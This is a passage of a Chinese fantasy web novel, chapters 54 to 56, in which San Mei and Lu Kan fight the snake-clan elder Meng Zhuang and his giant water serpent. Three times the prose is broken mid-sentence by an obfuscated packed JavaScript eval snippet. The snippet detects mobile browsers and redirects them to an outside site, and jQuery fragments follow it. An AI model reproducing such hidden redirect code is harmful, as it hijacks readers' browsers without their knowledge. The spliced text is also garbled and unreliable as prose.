八耳睡眼惺忪,先是被三枚一丢,又被陆衎往上一抛,本能地瞪起了凶狠的眼神,半空中瞄到缠在黑色乌篷上的黑蛇,眼还没睁全,凶光一闪,振翅便飞。 见状,陆衎一个箭步跃到了船头,与船尾的三枚对视一眼,足尖一点,跃上了就近的木屋。 他在空中如疾风迅雷闪过一个又一个屋顶,几息之后,便跃上了水尾寨最高的木屋。 三枚嘴角扬起一抹得意的灿笑,一手抓着船沿,对着隐形人一样缩在角落的兰哥吼道:“抓着我的手。” 说完她便将另一只手朝水里一伸,半边身子瞬间浸入了水底。 兰哥愣了一瞬,反应过来便立马去拉三枚的手臂。 之间三枚泡在水里的手,在底下飞速搅动着。 忽而她眼神犀利,咬紧牙齿猛然蓄力,眼见八耳已经咬住了那条虎视眈眈的黑蛇,沉声朝兰哥道:“拽。” 兰哥闻言,双脚蹬在船上,用力将三枚往外一拉。 三枚浸在水里的双腿也跟着用力一蹬,将水下抓住的人用力往外一甩。 “哗啦”一声,掀起了巨大的水幕,紧接着,又是“砰”的一声巨响。 水幕降落,三枚已经拽着人,一同滚进了小小的乌篷船里。 她脸不红气不喘,邪魅一笑,淡声道:“孟庄,让你的人别乱动哦。” “否则,你们蛇族唯二能下水的水鬼,可就不保咯。” 54. 第 54 章 “孟庄,让你的人别乱动哦。” “否则,你们蛇族唯二能下水的水鬼,可就不保咯。” 三枚慢悠悠地从乌篷里走出来,手里拖死鱼一样,拖着被自己强硬从船底拽上来的、浑身湿哒哒的小坂妹。 她的话音刚落地,“啪嗒”一声,船板上滴下一递铜钱大小的鲜红血滴。 那滴血,顺着三枚扼住小坂妹喉咙的手指,慢慢地滑落她的手臂,聚在手肘处,最后不堪重负才坠落下来的。 小坂妹脖子上的伤口,是被她驱使袭击三枚的毒蛇反咬的。 三枚的手扼在她的喉咙处,正好堵住了那个流血的伤口。 小坂妹却不领情,抓着三枚的手,胡乱地挣扎着,血才被积压得留了满手。 三枚看着被弄脏的袖子,眉头不由自主地皱了起来。 不远处,陆衎正流畅而充满力量地朝三枚飞跃而来。 他足尖轻点,踏着尘埃在空中飞跃,最后身轻如燕、稳稳当当地落回了乌篷船上。 阳光透过稀疏的云层,?洒在陆衎俊逸非凡的玉面上,风华似谪仙。 他手里还抓着面露痛苦、好似被吓傻了的小屋子。 三枚眼眸瞬间带上了笑,下压的嘴角蓦然一翘:陆衎,果然不会令自己失望! 掐着小坂妹脖子的手,蓦然一松,三枚转了转有些酸疼的手腕,翻手一挥袖,滴着水的衣裳瞬间变得干爽,被血沾染脏了袖子也变得焕然一新。 倒在地上刚缓过劲来的兰哥,仰头呆呆地看着变戏法一样的三枚。 三枚也扫了兰哥一眼,见他为了拽自己上船,浑身也湿透了,于是对着人一挥手,将他身上湿透的衣裳也给挥干了。 “哇!”兰哥从心底发出一声感叹,“好厉害!” 三枚嘴角翘得更高了,心想这小子还挺有眼光! 小坂妹捂着还在流血的脖子,趁人不注意想要偷偷爬走,却被三枚一脚踩在了背上。 “呃!窝——”她想开口说话,脖子受伤,发声有些艰难。 “阿姐呀......”小屋子被陆衎牢牢抓在手里,动弹不得,泪眼汪汪地看着小坂妹被三枚踩在脚下。 她可从没受过这种委屈,更没见过阿姐有这般狼狈的时候,还是在水尾寨、她们自家人的底盘上受的罪! “呜呜呜,”小屋子哭得眼泪鼻涕糊了一脸,她掩耳盗铃般双眼紧闭,仰头对着天空哭道:“老祖宗呀,咱被两个外人欺负狠啦!你快出来救救我们呀!呜呜......” “孟庄,听见没有,让你救命呢,啊。” 三枚一脚踩在小坂妹的背上,一手掐腰,另一手漫不经心地转着手里的破瓷碗,“再不出来,我可真不管了哦。” 话才刚说完,八耳忽而从乌篷顶上的振翅而下,坠在它身后的,是一条黑色的大蟒蛇,大约五尺长,眼泛绿光。 随着八耳轻巧降落三枚肩头,那条大蟒蛇“磅铛”一声,重重砸向湖里,溅起巨浪般白色的水花。 三枚眼疾手快,一抬手,将那溅起的水花完全挡了出去。 目瞪口呆的兰哥,这下嘴巴张得更大了。 他看着三枚的眼睛里,充满了不可置信,和油然而生的敬畏。 难怪!难怪玉玺老祖宗那般信任她! —— 须臾,湖面恢复安静。 落水的黑色大蟒蛇却浮在了水面上,一双绿油油的蛇眼,死死地瞪着三枚所在的乌篷船。 三枚一挑眉,扫了那蟒蛇一眼,再侧目看着肩上的气势斐然的小八耳,见它凶狠的豆眼里满是猩红,“啧”了一声:八耳这家伙又杀红了眼。 她的小手在身上摸了摸,看能不能摸点好吃的犒劳犒劳下八耳,耳边忽而传来一声“嘎吱”声。 三枚转头,就见小八耳面前多了一只大掌,掌心里是一小堆白黍米。 她眨了眨眼,仰头去看那手的主人,好奇地问道:“你哪来的白黍米?” 陆衎朝她笑笑,“小八耳之前给我的,我没吃。” 他凌晨回去换衣服的时候,外裳刚一脱,呼啦啦从身上掉落下来好几粒白黍米,捡起来后拿纸一包,便随手放在了身上。 三枚嘴角抽抽:好家伙!你俩背着我,私下联系得还挺密切哈! 撇了撇嘴,见八耳吃得还挺满足,她也歇了给它吃点好的心思,默默将放在腰带上的手松开。 “啊!啊啊啊!!” 坐在船板上的兰哥,突然一脸惊恐地窜到三枚的脚边,指着湖面道:“蛇!!水上!水上、浮了好多条蛇!!” 三枚顺着他的手指看去,方才从天而降、落入湖中的黑色大蟒蛇,绿油油发着光的蛇眼逐渐涣散暗淡,随之以它为中心,慢慢从水下浮起了密密麻麻的、各种各类的毒蛇。 看得直叫人头皮发麻! “啧!”三枚不屑地嗤了一声,沉声道:“怕什么,都是死的。” 刚才自己入水后,抓着破瓷碗在水下搅了几下,这些毒蛇就是在那个时候被她绞死的。 孟庄这家伙,果然如蒋敏生所说那般睚眦必报。 自己将他潜伏在水底的毒蛇绞死,他吃了败仗也不服输,反而将这群死物摆上台面,专门恶心自己呢。 三枚让兰哥退到陆衎身边,蹲下-身抓着小坂妹的领子,将人拽到船头。 小坂妹的脑袋悬挂在船外,脖子上的血,一点一点滴落水中。 鲜红的血融进水里,瞬间化作红色的丝线,慢慢向四周散去。 “孟庄啊孟庄,听说你们蛇族豢养毒蛇时,用的一般都是自己族人的血?” 喂养的血越新鲜,养出来的蛇越听话越护主,毒性也更强更烈。 小坂妹脸色煞白,小手拼命捂着自己的脖子,见滴在湖水里的鲜血越来越多,终于忍不住红了眼眶。 她哀求着看着三枚,“求......” 三枚视若无睹,昨晚自己已经心软了一次,半个时辰前在古墙外亦放过那个小屋子一次。 再一再二,人可以三思而行,却不能在同一件事上犯第三次蠢。 而且,如果方才自己乘坐的乌篷船真翻了,三枚不相信中途会有人心软,从而放过她们一回。 小坂妹不会,小屋子不会,躲在木屋里暗中偷窥的水尾寨的蛇族人,和藏在水底的那群冷血的畜生亦不会。 自以为运筹帷幄、站在暗处虎视眈眈的孟庄,更不会! 三枚忽而垂眸,低笑一声,仰头看向陆衎。 她漫不经心的,指着浮在水面上的那条已经死透了的黑色大蟒蛇,道:“一般的蛇族人的血,就能豢养出剧毒的毒蛇。” “那么,小坂妹作为天赋异禀的水鬼,将她身上的血放入这湖水里,你说,那些潜伏在暗中的毒蛇,会不会集体发疯,朝咱这边聚拢而来?” 夹在三枚和陆衎两人之间的兰哥,听完三枚的话,在脑中稍微想象了一下,霎时被那惊悚的画面吓得浑身一颤。 再看三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137941|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枚的眼神,那样好看的杏眼里,满是认真和诚挚。 兰哥却感觉到了平静背后的、淡淡的疯狂,就隐藏在三枚那笑意盈盈的杏眸里。 不行,太可怕、太恐怖了! 他猛然将脑袋转向陆衎,对着陆衎拼命摇头,希望成熟稳重的陆衎能制止住发疯的三枚。 然而,陆衎却一点不觉得三枚在发疯。 反而眼睛一亮,他微笑着挑眉,一边缓步走向三枚,一边闲散慢道:“试试吧。” “小屋子是吧,她与小坂妹二人是亲姐妹,血脉相连,又同样作为水鬼。” 陆衎将手里的小屋子提到半空,轻轻晃了晃,“想必两人的血,更能激起那群毒蛇的亢奋。” 小屋子从刚才开始便双眼紧闭,她捂着嘴巴痛哭不止,却拼命压抑着情绪、降低存在感,情绪失控的她,一时没能听清陆衎在说什么。 两人疯狂的、堪称恶魔低语的对话,响彻在静谧无人声的水尾寨。 疯了疯了,这两人疯了吧! 没有一点话语权、无力改变两人决定的兰哥,拖着屁-股默默远离了船头。 他害怕地狂咽口水,紧张地往后退啊退,“哐当”一声掉进了船肚子里。 脑袋磕到锁魂箱上,他也不觉痛,反而将锁魂箱当做了救命稻草,紧紧地抱在怀中,缩在一边瑟瑟发抖。 少了兰哥害怕得气息紊乱的气喘声,四周骤然变得静悄悄的。 偶尔几声的鸟叫也停止了,连微弱的水流声都听不见了。 水尾寨,好似突然之间,陷入了极致的安静之中。 三枚他们所乘的乌篷船,就那么孤零零地在湖面上,随风飘荡着。 飘啊飘啊,飘到了一幢看起来最为沧桑老旧的破木屋前。 “滴答、滴答、” 小坂妹还在往水里滴着血,她的脸色越来越惨白,嘴唇已经开始泛紫。 三枚视若无睹,脸上依旧挂着灿烂的微笑,仿佛对突然有些冷凝的空气无所察觉般,笑眯眯地注视着前方的破木屋。 陆衎垂眸,与三枚对视一眼,轻笑一声后,将小屋子提到小坂妹的边上,剑指对着她的脖子轻轻抹过。 小屋子脖子蓦然一痛,条件反射抬手一抓。 触手是温热的、湿湿的液体。 她咽了咽口水,迟钝地睁开眼睛,将手移到面前,入目便是一抹鲜红,隐隐散发着腥甜的气味。 小屋子转头,眼神有些涣散的阿姐陡然出现在她的视野里,视线再一下移,发现此刻她们两姐妹的上半身都悬空在湖面之上。 而阿姐脖子里滴答流出的血液,落在湖水里,也是鲜红的色彩。 她愣愣地垂眸,再看看手中的鲜红。 “哦,是血啊。”小屋子好一会儿才反应过来。 她安慰自己:“一点血而已,还以为有什么大不了,没事的、没事——” 忽而想起什么,小屋子一个激灵,打了个冷颤。 额上青筋猛然暴起,她双眼瞬间瞪成猩红色,接着陡然爆发出一声尖锐的、冲破云霄的惨叫声! “啊!!!” 她像是怕死极了,双手反抓着陆衎的手臂,腾空的双腿胡乱地踢踏着空气。 “啊啊啊!!!老祖宗救命!救命啊!!!” “这两个疯子,是真的、想要了我和阿姐的命啊!!!!老祖宗——” “我不玩了!不玩了!这个说好的不一样,老祖宗啊,快救我啊啊!!!” 55. 第 55 章 “这两个疯子,是真的、想要了我和阿姐的命啊!!!!老祖宗——” “我不玩了!不玩了!这跟之前说好的不一样,老祖宗啊,快救我啊啊!!!” 鸦雀无声的水尾寨,响彻着小屋子堪称爆鸣的尖叫声。 “闭嘴。” 一个苍老的、低沉且充满威严的声音,自头顶乍然压下,带着历经无数风霜的沉寂和岁月的磨砺,压迫感十足。 鬼哭狼嚎的小屋子听见声音,瞬间吓得嘴巴紧闭,噤若寒蝉,泪眼汪汪的双眸里,却是充满了感激和庆幸。 呜呜呜,老祖宗到底,还是没法眼睁睁看着她们姐俩就这样虚无地死去的。 三枚斜眼,与陆衎对视了一瞬,笑眯眯的眼里,有厉色一闪而过。 她嘴角挂着讥讽的笑,仿佛对头顶咄咄逼人的威压一无所觉,抓着小坂妹身子的手佯装一松。 小坂妹差点掉进湖里的瞬间,又被她轻而易举地抓住了胳膊。 “呃!” 三枚逗猫一样的抓拿,吓得小坂妹心脏骤停了一瞬,眨眼的瞬间,她的身子几乎都挂在了船外。 小坂妹惨白的小脸逐渐转为青紫,浑浑噩噩间,她觉得自己的视力在快速降低,眼前的一切看起都模糊不清。 “竖子!” 似乎是被三枚的动作激怒,头顶又传来老人的沉喝:“对两个小孩子,你们竟也狠得下手!” 三枚一脚踩在船头,仿佛听见了什么好笑的笑话一般,嗨了一声又咯咯笑了起来,“我们若是真心狠,孟婆汤都够这两个丫头喝两壶了。” 她笑着摇了摇头,“孟庄,十年前你就骂过我,说我序三不是啥良善之辈,怎的到了现今,却跟我说起了狠心?” “你将这两姐妹推到我的面前,不正是因了她俩年纪够小,足够叫人放下一切戒备之心,好让你们趁虚而入、奸计得逞吗?” 装什么道貌岸然、慈善有德! “你、是序三?” 三枚满脸不屑:“装!就爱装!老的小的都爱装!” 果然上梁不正下梁歪! “我第一次从巨峰上下来的时候,你不就已经盯上我了吗?如今才来装作不识得我,也太假了吧!” 拽了拽四肢已经逐渐瘫软,但还总想搞小动作的小坂妹,三枚杏眼转了一圈。 周围错落有致的、坐落在水上的小木屋,随着孟庄的声音出现,陆陆续续探出了好几颗脑袋,眼神不善地紧盯着三枚他们。 三枚熟视无睹,脸上的笑依旧灿烂,踩在船头上的脚却不动神色地放了下来。 她在警戒着孟庄可能出现的任何一个角落。 忽而三枚的眼神变得有些犀利,看着面前的破木屋,慢声道:“我就不信,你不知道我到这儿,是为什么来的。” “小小年纪,气势汹汹。” 孟庄的声音似有若无,像荡漾在深幽空谷里,飘忽不定,却余音缭绕。 “哼!多年不见,你这目下无尘的狂妄性子,是一点没改。” “那是。” 三枚一点没被孟庄阴阳怪气到,反而笑眯眯地将小手放在身前,特别轻慢地道:“还变本加厉了呢。” “竖子!” 孟庄却轻易地被三枚轻浮的语气挑动了愤怒的情绪,闻言沉声一喝,“休得无礼!” 他的话音刚落,随之刮起一阵狂风,压抑的空气突然躁动了起来。 水上的木屋被风吹得啪啪作响,那些探头的水上人“嗖”一下将脑袋缩了回去,门却不关,就让狂风带着“乓乓”作响。 小小的乌篷船被这风刮得,仿佛随时都能被吹翻到天上去。 乱风迷人眼,三枚被吹得眼睛有点睁不开,心想这老家伙不仅睚眦必报,而且小肚鸡肠。 明明是他孟庄自己先暗戳戳拿话刺人,见三枚无所谓甚至还一脸洋洋得意的模样,反而气得发狂了。 “把我孩儿放了,否则要你的命!” 孟庄声音陡然在耳后响起,三枚猛然侧头,除了呼呼作响的风声,什么都没看见。 “小心。” 变故就发生在这一瞬间。 几乎在三枚侧头的刹那,从水里突然窜出来一个臂宽的巨蟒蛇头,张着血盆大口就朝三枚咬去。 陆衎大吼一声,将手里的小屋子用力朝那蟒蛇掷去,飞身朝三枚扑过去的同时,一脚将瞪着猩红眼睛试图反咬三枚一口的小坂妹用力踹飞。 嘴巴大张的巨蟒见状,好似有智慧一般思考了一瞬,轻轻皱了下眉头后蛇头一扭,率先接住了嚎啕的小屋子。 潜在水下的蟒身向上一耸,追着小坂妹被踹飞的方向高耸而去,于半空中“哇呜”一口,将两姐妹都含在口中。 把人都安稳接住后,蟒身再次飞快入水,接着将蛇头一扭,一双冰冷的、闪烁着明亮红光的眼睛,警惕地朝四周环视一圈。 蛇眼里有狡黠的光芒一闪而过,它的硕大而庞然的身躯,在水下徐徐地游走着,每一次滑动都带着赤裸裸的威胁。 将口中含着的小坂妹和小屋子,慢腾腾地放到临近的小木屋上,巨蟒的一双带着凶狠、阴毒杀意的眼睛,就那么虎视眈眈地紧盯着陆衎和三枚。 它张着嘴巴,露出的口中粗长而尖锐的牙齿,不紧不慢地吐着蛇信子。 须臾一个奋起,巨蟒扭着蛇头猛然朝乌篷船进攻而去。 陆衎抱着三枚从船头滚落到乌篷前,稍一抬头就对上了愤然而起的蟒蛇头,见那尖利的毒牙在阳光下那么一晃,便飞速朝自己的方向袭来,立刻翻身而起。 他将三枚紧紧揽在怀里,单手抓起搁置在边上的船桨,飞跃而起,一脚抵在乌篷顶,一手抬起船桨,抵住了紧追而来的蟒蛇头。 手上稍一用力,与蛇头比较明显十分脆弱的船桨,“卡擦”一声断成两半,被陆衎抵在脚下的乌篷受到推力,猛然朝后退去。 留置空中的陆衎却不去追船,反而踏着空气飞落在了那蟒蛇头上。 被陆衎激怒的蟒蛇,喷气嘶叫的声音越来越粗重,身子一拧,将陆衎甩飞,转头又朝他们袭去。 “有办法把它从水里引出来吗?” 被陆衎带在空中飞跃的三枚,忽而从他的怀里探出头,拧眉看着那头灵活的巨蟒,嘴角抽抽:“这两姐妹真够毒,居然养了这样一头蟒蛇。” 都快成蛟了吧! 陆衎一个旋身,直接飞到巨蟒的脑袋后面,抱着三枚在那宽厚的鳞片上跑动着。 听见三枚的声音,他垂眸看了怀里的人一眼,轻轻撩开落在她脸颊变的小卷毛,低声问道:“认出这蛇了?” 三枚看着陆衎眨了眨眼,脸颊微红,慢了半拍才道:“水虺(huǐ),带脚的水蛇,一种携带剧毒的蛇类。” 据传,水虺五百年便能化作蛟,而蛟,千年便能成龙。 这蛇族人,野心可真不小! 三枚杏眼微眯,“能将小小的一条虺蛇,豢养成这般巨大的体型,恐怕不止用血肉饲养那么简单。” 陆衎听了三枚的话,看着那条巨蟒的眼里,也充满了审视和冷厉,“它目前为止,只将头部露出在水面之上,余下的躯体,只出现了一瞬便重新潜入了水面之下。” 蛇打七寸,一般泛指蛇的心脏所在的位置,只要被外力猛然击中,轻则能致其瘫痪昏厥,重则当场死亡。 水虺亦是如此,然而并不是每条蛇的心脏位置都完全相同。 三枚点头,与陆衎深深对视一眼,“但只要将它的身体暴露出水面,八耳便能一眼捕捉到它的致命弱点。” 鸡爪牢牢钳在陆衎肩头的八耳,闻言骄傲一抬头,响亮地“咯”了一声,看着巨蟒的豆眼凶狠无比。 “我试试看。”陆衎嘴角泛笑,对着三枚说道。 明明不是什么轻松悠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13145030|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闲的氛围,三枚却莫名跟着陆衎笑了起来。 躲在乌篷船内,战战兢兢偷眼观察着外头形势的兰哥,怀里紧紧抱着三枚的锁魂箱,害怕得全身发抖冷汗淋漓,心里很为攀走在巨蟒蛇头上的三枚和陆衎捏一把汗。 在这样紧张而又十分凶险的境地下,他都快紧张吐了,结果站在巨蟒头顶的那俩人,竟然还有闲心笑嘻嘻地对话。 “咚!” 耳边响起一声轻响,兰哥犹如惊弓之鸟,快速低头。 他蹙眉:“刚才的声音,好像是从箱子里发出来的?” 把耳朵贴到锁魂箱上,凝神听了片刻,十分安静,仿佛刚才的响动是他的错觉一般。 “可能是我太紧张了吧,都开始幻听了。”兰哥晃了晃脑袋,又将注意力投注到半空中。 半空中,陆衎已经跃上蟒蛇头顶,在它的视野盲区走动着,仔细地环视了周遭一圈。 他忽而对着三枚笑笑,接着抬脚,在它的头上胡乱踢踹,故意耍着它玩似的,这里踢一脚那里踹一下,最后趁其不备,对着蟒蛇的眼睛狠狠一踹。 本来自得身上鳞片厚实,陆衎的踢踹在巨蟒看来只是挠痒痒,大意不防下眼睛突然受了一脚,痛得它蛇头左拧右扭,嘴里斯哈喷着粗气。 巨蟒不出意外又被陆衎狠狠激怒,嘴巴一边发出痛苦的嘶吼声,一边疯狂地扭动着。 陆衎这时却不躲了,一个飞身跃起,故意暴露在巨蟒的眼前。 三枚一手环着陆衎的脖子,一手指着巨蟒哈哈大笑,故意嘲笑道::“痛吧?哎哟哟,就你这样的,还想成蛟成龙啊,下辈子吧!” 拥有智慧的巨蟒眼睛痛,三枚的话刺得它心里更痛。 它气得理智全无,嘶叫一声,盘在水下的蟒身愤然而起,“哗啦”一下将庞大的身躯突然暴露在空气中。 陆衎一手抱着三枚,一手拎着八耳,踩着怒气冲天的巨蟒,一边躲开它的攻击,一般绕着它的躯体飞了一圈。 期间八耳都默不作声,特别冷静,直到陆衎带着她们绕回巨蟒身下时,它才猛然一抬头,眼里凶光毕现。 “找到了!” 三枚拍了拍陆衎的肩膀,轻笑道,“接下来,该咱家小八耳出场了,我们先撤。” 咱家,我们。 陆衎舌尖抵着牙尖,愉快地一挑眉,见八耳已经开始拍打起了翅膀,他顺势将手一松,抱着三枚朝远处的乌篷船飞去。 八耳早就等着陆衎松手,感受道自由坠落的瞬间,它快速振翅一拍,朝着那水虺俯冲而去,以迅雷不及掩耳之势闪现到巨蟒面前。 巨蟒还来不及反应,它的鸡嘴便十分精准地对着蛇颈上的一点淡斑,狠狠地叨了上去。 水虺仰天,痛苦地发出了一声怒吼。 八耳“忒”一下,将又硬又难吃的鳞片吐掉,转眼见蛇颈已经被自己尖锐的嘴巴叨破,豆眼顿时燃起了兴奋的红光,翅膀呼哧煽动得更快更得劲了。 它激动地尖声“咯”了一声,埋头又朝那破口俯冲而去。 “榆次,回来!” 孟庄的沉喝却在这时又响了起来,本想激=情迎战、报仇雪耻的巨蟒,不甘心地大声嘶叫一声,便飞速向后倒去。 八耳追着倒下的巨蟒扑去,然而当鸡嘴再次咬上蛇颈的时候,却疑惑地“啧”了一声。 口感不对劲! 此时僵硬不动的蟒身,“磅!”一声落水,带着八耳差点也被水浪拍飞。 好在陆衎撑着乌篷船及时赶来,鼓起勇气帮忙的兰哥,眼疾手快地将八耳从水里捞了起来。 看着浮在水面上的干瘪蛇皮,兰哥头皮发麻地道:“这是、蛇皮?” 金蝉脱壳! 三枚不屑地嗤笑一声,翻手将手上的五铢钱按回红绳上。 她抬眸看着房门大开的破木屋,十分轻慢地挑衅道:“哼,孟庄呀,你这就怂啦?” 56. 第 56 章 “哼,孟庄呀,你这就怂啦?” 随着周围一切都恢复安静,建在水上的木屋好似在慢慢减少。 陆衎走到三枚身边,轻声问道:“这些木屋会移动?” 以面前这撞最为沧桑老旧的破木屋为中心,围绕在它左右的小木屋,从错落有致的排列,稀稀落落散得特别凌乱。 三枚摇头:“别被分散了注意,你就盯着最前面那幢破木屋就行。” 陆衎:“孟庄就在那里?” “记得进入水尾寨后,我说过的话吗?” 三枚一边将缠在左手腕上的红绳解开,一边目不转睛盯着那破木屋,低声说道,“全是假的,就跟布设在古墙外幻境一样,用来迷惑人心的。” 她将两枚五铢钱咬在嘴里,红绳绕着左手五指一圈一圈缠过去,最后拿下铜钱握在掌心里。 “我之前给你的五铢钱,你也捏在掌心里,以防万一。” 陆衎闻言,把挂在脖子上的绳子扯断,轻轻一拉,露出了串在绳上的铢钱,小心地握在了掌心。 不知为何,余光看见陆衎那般轻柔动作的三枚,脸颊蓦然一红,不自在地轻咳一声,往前迈了一小步。 陆衎见三枚往前走,亦跟着往前进了一步。 他凝神注视着那幢无声无息的破木屋,实在看不出有什么独特的,甚至耳边偶尔能听见的蛇吐信子的“嘶嘶”声,也不见了。 兰哥抱着锁魂箱,紧跟在两人的身后,听见他们的对话,左顾右盼了一会儿,忽而弱弱地举起了手。 “我、我呢?”他看了陆衎一眼,接着将视线放到了三枚的身上,“我也把铜板握在手心里吗?” 他一边说着,一边在身上摸索出了一枚铜钱,用力地握在手心,把脸凑到三枚面前,双眼亮晶晶地看着她,连声问道:“是这样吗?这样对吗?” 他也有? 陆衎蹙眉,怎么自己记得三枚好似只有三枚五铢钱,多出来的这是哪来的? 再看那兰哥手里握着的,不过一枚普普通通的铜钱。 唇线微扬,陆衎轻蹙的眉间顿时就舒展了开去。 三枚嘴角抽抽,看着兰哥一脸真诚的小表情,不忍打击他的自信心,于是委婉地道:“你高兴就好。” 啊?什么意思? 他刚想追问几句,又听三枚说道:“其实,你如果害怕,可以抱着锁魂箱。” 锁魂箱? 兰哥疑惑地看着三枚,就见她手指往他边上一指,“喏,你刚才还紧紧抱着它呢。” 顺着三枚的手指看去,才发现三枚口中所指的“锁魂箱”,就是自己从刚才开始就一直抱着那个颇有分量的木箱子。 愣了一瞬,兰哥才恍然一笑:“哦哦,好的好的。” 他立马蹲身将锁魂箱抱到了怀里,手里还紧握着一枚铜钱,站在三枚和陆衎的身后,心里终于没那么忐忑不安和害怕恐慌了。 八耳仰头,豆眼咕噜噜乱转,全程目睹三枚把好好的一个孩子,给忽悠得一傻一愣的,简直没眼看。 见三枚准备就绪,它一个飞跃,眨眼便站到了三枚的手臂上,扬天鸣啼了一声:“咯!” 开始吧,先把孟庄的幻境撕碎,再把那条巨蟒生吞入腹! —— 三枚左臂举在身前,八耳站在她的小手臂上威风堂堂,迎风怒视着前方。 她将右手摊开,五指聚拢掌心朝上,慢慢移到握着拳头的左手下方,迎风一晃,神出鬼没的破瓷碗便凭空出现在了她的右手里。 这时,风突然猛了起来,打着旋儿似的乱刮。 陆衎上前一步,护在三枚的身后,兰哥见状,抱着锁魂箱也守到了三枚的另一边。 三枚眼尾一挑,嘴角笑意一闪而过。 风吹过衣角,她杏眸微眯,聚精会神仔细观察着前方的破木屋。 就在破木屋窗沿上有一丝微弱的红光闪过时,她紧握的左手瞬间大张。 三枚握在掌心的两枚五铢钱猛然失重,接连向下坠落,却在即将落入碗底的瞬间,缠在手指上的红绳蓦然一松,突然闪现在铢钱底下。 红绳穿过五铢钱的孔洞,向上一串,又紧紧地绕回了三枚的手指上,铜钱骤然悬空,在破瓷碗里左摇右晃,发出“叮铃铃”的脆响声。 这一切,就发生在一呼一吸间。 然而铃声一响,七零八落散在各处的小木屋,突然开始飞快移动了起来,“嗡嗡嗡”发出巨响,眨眼便都挡在了破木屋前。 “序三,你想作甚!”孟庄的沉喝声再次响起,语调听起来有些气急败坏。 三枚轻笑一声,声音格外响亮清脆地道:“没作甚呀。” “就是想进你家坐坐而已。”她左手轻轻一晃,五铢钱撞到破瓷碗,又发出一声脆响。 “啪嚓!”挡在最前面的小木屋瞬间四分五裂,木屑水花飞溅。 陆衎抬手一挥,将飞溅到身前的木屑和水花挡掉,耳边又听见一声细弱的“嘶嘶”声。 孟庄:“我水尾寨不欢迎你!” “这可怎么办?请神容易送神难呐,你家孩儿专门我把引到这儿来,你现在却要我滚蛋?” 上一秒还嘻嘻笑着说话的三枚,脸色骤然一沉,眼神瞬间变得犀利又冷锐,她向前大跨一步,左手向上一翻,破瓷碗倒扣其上,右手往外轻轻一拉,手上多了三根细香。 她捻着细香高举到半空,稍微一晃,细香点燃,徐徐地飘出黑色的缭绕烟雾。 孟庄响彻在头顶的声音,语调十分急躁激动:“你身为寻尸人,不去为那摇铃的鬼魂寻尸,偏不务正业跑我蛇族大闹,我定将你恶行,上告你寻尸古寨,让你族中长老好好教训教训你!” 三枚小眼一翻,讥笑道:“你还真如传闻所说,是个为老不尊的告状精!” “你告去啊,我都不带皱一下眉头!”她反手抓着香脚,将燃烧着的香头朝下,慢慢逼近湖面,“你挑衅行凶在前,恶意谋害在后,难不成,我连正当反击都不行?” 孟庄怒喝:“你明知你要寻的尸首不在我这儿!” “呵!”三枚轻笑,“还说你没认出我来?” “我要寻的尸首在不在你这儿,你让我亲眼看看,便知是还不是。” “你休想!”孟庄猛然大怒。 狂风吹得三枚眼睛差点睁不开。 “我今天还偏就要你家门大敞,看看你蛇族里,到底藏着什么不为人知的肮脏秘密!” “放肆!”孟庄爆喝一声,从天而下的压迫之势越来越重。 可怜的兰哥,被头顶的威压,和三枚与陆衎周身散发的强烈气场,压得脸色青黄。 但他逼着自己不肯后退,偷偷抹掉两行鼻血,浑身发颤却抱紧锁魂箱,一直守在三枚的身侧。 陆衎警惕地左右张望,熟悉的蛇吐信子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13153210|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音一直在耳边若隐若现,却分不清到底是从哪个方向传来。 他不动声色地将手放在三枚的腰侧,打算发现异常,便随时准备抱着三枚飞跃而起。 三枚正忙得不可开交,一边凝神寻找幻境破绽,一边还要分心与孟庄互怼,根本没注意陆衎已经揽住了她的细腰。 孟庄被三枚三言两语,气得暴跳如雷,“放肆!序三,你放肆!” “你不过一介低贱寻尸人,根本没有资格进入我蛇族之门!快滚,否则要了你们所有人的命!” 随着他的爆喝声响起,风云骤变,天上白云转瞬成黑,乌压压地向下压来。 压抑、沉闷的空气里,狂风沙尘肆虐,从人的身上飞掠而过,带着潮湿黏腻的湿度。 平静的湖水汹涌翻腾,起伏剧烈,乌篷船不止被风刮得左摇右晃,亦受澎湃的水流颠簸,似乎随时会被湍急的波涛吞噬。 陆衎环在三枚腰侧的手蓦然收紧,竭力保持平衡的同时,依旧警惕地观察着四周的动静。 兰哥抱着锁魂箱,跌跌撞撞磕碰得头破血流,却特别倔强地抵着怒号的狂风,也要爬回船头的位置。 轰隆一声,天空惊雷响彻,电闪雷鸣之下,暴雨突降。 全身瞬间被雨水打湿的三枚,嘴角仍旧挂着云淡风轻的讥笑,手中细香没被突如其来的暴雨熄灭,反而越燃越旺。 